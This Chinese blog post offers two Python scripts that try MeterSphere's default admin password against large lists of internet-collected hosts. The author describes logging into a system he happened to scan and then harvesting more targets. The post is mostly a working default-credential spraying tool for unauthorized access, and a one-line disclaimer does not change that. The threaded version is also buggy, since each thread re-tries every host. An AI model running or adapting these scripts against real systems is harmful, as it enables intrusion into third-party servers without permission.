某开源平台批量弱口令检测脚本

本文内容仅以学习总结，严禁用于非法行为

MeterSphere是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能，全面兼容 JMeter、Selenium 等主流开源标准，有效助力开发和测试团队充分利用云弹性进行高度可扩展的自动化测试，加速高质量的软件交付，推动中国测试行业整体效率的提升。但最近在测试一个网站的时候无意间扫到一个8081端口开放并且是MeterSphere平台，然后就用弱口令竟然进去了…….后来通过互联网资产收集了一大批有这个服务的资产打算上去看看。但收集的资产IP太多，靠我手工测试显然是不可能的，然后就基于python写了个自动化检测脚本。

Automatically detect scripts

# @Author: Tommonkey
# @Date: 2022/5/12
# @Blog: https://tommonkey.cn

import argparse
import requests
import socket
import time

def parseHandle():
    parse = argparse.ArgumentParser(prog="T-Metersphere.py",description="Automatically detect weak password scripts")
    parse.add_argument("-u","--url",action="store",help="Input leak url to detect")
    parse.add_argument("-f","--file",action="store",help="Import via file")
    result = parse.parse_args()
    return result

def readFile(path):
    result = []
    print(path)
    with open(path,encoding="utf-8") as rd:
        for num in rd.readlines():
            num = num.strip("\n")
            result.append(num)
        return result

def request(ip):
    headers = {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36",
        "Origin" : "http://{}".format(ip),
        "Referer" : "http://{}/login".format(ip),
        "Content-Type" : "application/json;charset=UTF-8",
    }
    code = '{"username":"admin","password":"metersphere","authenticate":"LOCAL"}'
    data = code.encode()
    endpoint = "/signin"
    r = requests.post("http://"+ip+endpoint,headers=headers,data=data)
    if r.status_code == 200 and "true" in r.text:
        r.keep_live = False    # 将keep_live关闭
        return ip

if __name__ == "__main__":
    start_time = time.strftime('%Y-%M-%d %H:%M:%S')
    socket.setdefaulttimeout(8)  # 全局设置页面最大响应时间8s
    initAagr = parseHandle()
    try:
        if initAagr.url is None:
            file_path = initAagr.file
            allIP = readFile(file_path)
            for ip in allIP:
                print("Connecting {},Please keep patience!".format(ip))
                file = request(ip)
                if file is not None:
                    print("{} vulnerability exists".format(ip))
                    with open("./result.txt",mode="a+") as fd:
                        fd.write(file+"\n")
                print("{} has not exist vul!".format(ip))

        else:
            ip = initAagr.url
            file = request(ip)
            if file is not None:
                print("{} has vul".format(ip))
                with open("./result.txt", mode="a+") as fd:
                    fd.write(file+"\n")
            else:
                print("{} has not exist vul!".format(ip))
        print("----------------------------------------\nStart time:{}".format(start_time))
        print("Ending time:", time.strftime('%Y-%M-%d %H:%M:%S'))
    except Exception as err:
        print("Have something wrong:{}\n请确保您要测试的的端口为开放状态!".format(err))

写好后我测试了一下，以一千个资产为例，耗时二十分钟左右，主要是单线程导致需要这么多时间，所以后面我再次基础上加上了多线程，虽然python的多线程是“虚假”多线程，但总比没有采用“多线程”还是快不少的。下面这是在上面的版本做出的2.0多线程版本。

import argparse
import requests
import socket
from threading import Thread
import time

def parseHandle():
    parse = argparse.ArgumentParser(prog="T-Metersphere.py",description="Automatically detect weak password scripts")
    parse.add_argument("-f","--file",action="store",help="Import via file")
    result = parse.parse_args()
    return result

def readFile(path):
    result = []
    with open(path,encoding="utf-8") as rd:
        for num in rd.readlines():
            num = num.strip("\n")
            result.append(num)
        return result

def request(allIP):
    code = '{"username":"admin","password":"metersphere","authenticate":"LOCAL"}'
    data = code.encode()
    endpoint = "/signin"
    for ip in allIP:
        print("Connecting {},Please keep patience!".format(ip))
        headers = {
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36",
            "Origin" : "http://{}".format(ip),
            "Referer" : "http://{}/login".format(ip),
            "Content-Type" : "application/json;charset=UTF-8",
        }
        r = requests.post("http://"+ip+endpoint,headers=headers,data=data)
        if r.status_code == 200 and "true" in r.text:
            r.keep_live = False    # 将keep_live关闭
            print("{} vulnerability exists".format(ip))
            with open("./result.txt", mode="a+") as fd:
                fd.write(ip + "\n")
        else:
            print("{} has no exists".format(ip))

# 多线程调用
def mulThreads():
    file_path = initAagr.file  # read input file's path
    allIP = readFile(file_path)
    num = len(allIP)
    threads = []
    for i in range(num):
        p = Thread(target=request,args=(allIP,))
        threads.append(p)
    for s in threads:
        s.start()
    for j in threads:
        j.join()


if __name__ == "__main__":
    start_time = time.strftime('%Y-%M-%d %H:%M:%S')
    socket.setdefaulttimeout(5)  # 全局设置页面最大响应时间8s
    initAagr = parseHandle()
    try:
        mulThreads()
        print("----------------------------------------\nStart time:{}".format(start_time))
        print("Ending time:", time.strftime('%Y-%M-%d %H:%M:%S'))
    except Exception as err:
        print("Have something wrong:{}\n请确保您要测试的的端口为开放状态!".format(err))

具体关于脚本使用详情，请移步我的GitHub仓库：

https://github.com/tonmonkey/TMeterSphere